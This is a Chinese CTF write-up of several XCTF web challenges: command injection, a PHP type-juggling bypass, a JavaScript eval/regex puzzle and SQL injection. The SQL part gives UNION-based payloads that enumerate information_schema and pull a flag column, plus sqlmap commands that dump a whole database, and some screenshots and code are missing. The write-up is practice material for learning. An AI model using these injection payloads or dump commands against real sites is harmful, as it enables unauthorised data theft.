这周接着刷攻防世界的web题( ̄︶ ̄)↗
看提示这题为命令执行漏洞(command_execution),关于命令执行漏洞,我前面有篇博客详细介绍了,大家不了解的话的可以去看看https://blog.csdn.net/qq_43531669/article/details/99771487
先尝试一下127.0.0.1 发现执行成功,得到回显:
那没什么好说的了,直接查看目录下的所有文件吧:
得到这些,接着查看home目录下的文件:
发现flag文件,然后查看得到flag
1234){
echo $flag2;
}
?>
得到这么几串代码
意思是当a==0,但a的值又不能为0时输出flag1,b大于1234,并且b不是数字时输出flag2; 于是构造:?a=0a&b=12345A
便可绕过得到完整的flag。
知识点:js代码(eval函数,alert函数)正则、代码审计
eval() 函数:可计算某个字符串,并执行其中的的 JavaScript 代码。
alert()函数:用于显示带有一条指定消息和一个确定按钮的警告框。
下载附件,以文本格式打开:
是一段JS的代码,改后缀为.html在游览器打开:
有一个输入框,但输入什么都没有反应,继续分析js代码 = ̄ω ̄=
审计代码可以看到eval
函数执行了_
变量中的内容也就是' '
中的内容,但是,要注意的是,它并没有执行$()
函数,仅仅执行了字符串而已(从而导致乱码),因而页面html页面没有任何显示,只显示了input标签的内容,但是我们想让源代码正常显示出来,不进行执行,那么,我们就用到了alert弹窗(将eval函数改为alert),将乱码的$()
函数源码完整显示出来:
整理一下得到:
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)}
}
}
document.write('');
delete _
分析代码,我们的目标是打印出document.write(s[o%4][0]);s[o%4].splice(0,1)}
因此我们要满足关键变量e的条件
e.length==16
e.match(/^be0f23/)!=null
e.match(/233ac/)!=null
e.match(/e98aa$/)!=null
e.match(/c7be9/)!=null
这里又用到了正则表达式 ^
表示开头一定要匹配到be0f23,$
表示结尾一定要匹配到e98aa,其它的只要匹配到就好,没有位置要求,于是构造e=be0f233ac7be98aa
在输入框中输入e的值,点击Ok
成功得到flag:
flag{it’s_a_h0le_in_0ne}
也可以直接将核心代码直接在控制台执行
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o)
{
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
这一题考察的是 SQL 注入,这里演示下手动注入和sqlmap两种方法。
首先查返回列,经测试共三列返回数据。
接着查看数据库名,看到库名为news
查表名,构造命令:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
得到两个表,news中无数据,查看表 secret_table字段
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=' secret_table'
最后执行查询语句
0' union select 1,2,fl4g from secret_table#
首先用bp抓包,得到http文件头
保存为文本。然后执行命令:python sqlmap.py -r 1.txt --dbs
查数据库
再执行命令:python sqlmap.py -r 1.txt -D news --dump
获取库中的所有数据
得到 flag ! ( ̄▽ ̄)"/